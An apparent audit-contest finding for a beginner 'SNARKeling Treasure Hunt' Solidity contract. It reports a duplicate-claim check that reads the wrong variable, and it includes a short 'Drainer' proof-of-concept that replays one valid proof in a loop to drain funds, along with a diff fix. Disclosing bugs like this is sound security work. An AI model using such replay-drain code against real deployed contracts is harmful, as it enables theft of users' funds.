SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

claim() checks wrong variable for duplicate claims, allowing the same treasure to be claimed multiple times

Author Revealed upon completion

Root + Impact: contracts/src/TreasureHunt.sol -> claimed[_treasureHash] checks the immutable constructor value instead of the caller-supplied treasureHash parameter

Description

  • The contract maintains a claimed mapping to prevent the same treasure from being claimed twice. Each claim should check and mark the caller-supplied treasureHash parameter.

    The duplicate-claim guard reads from claimed[_treasureHash] where _treasureHash is a separate immutable set at constructor time, but writes to claimed[treasureHash] where treasureHash is the caller-supplied parameter. These are two different storage slots, so the guard never blocks replay for any treasure hash other than the one that happens to match the constructor value.

function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant() {
// ...
// @> reads from _treasureHash (immutable set in constructor)
if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
// ...
// @> writes to treasureHash (caller-supplied parameter)
_markClaimed(treasureHash);
}

Risk

Likelihood:

  • Any attacker who obtains a valid proof including a legitimate finder, immediately notices the same proof works again on the second call.

  • The exploit requires only a working proof and a loop, executable in a single script with no advanced knowledge

Impact:

  • A single valid proof is replayed indefinitely until the contract balance drops below 10 ETH, draining up to 100 ETH

claimsCount increments on every successful replay, corrupting the hunt state and potentially blocking legitimate claimants

Proof of Concept

// Attacker script
contract Drainer {
function drain(
address hunt,
bytes calldata proof,
bytes32 treasureHash,
address[] calldata recipients
) external {
for (uint i = 0; i < recipients.length; i++) {
// same proof works every time because claimed[_treasureHash]
// is never set to true for caller-supplied treasureHash
ITreasureHunt(hunt).claim(proof, treasureHash, recipients[i]);
}
}
}

Recommended Mitigation

function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant() {
// ...
// @> check the caller-supplied treasureHash, not the immutable _treasureHash
- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);
// ...
}
​
// Also remove the unused _treasureHash immutable from the contract entirely
- bytes32 private immutable _treasureHash;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!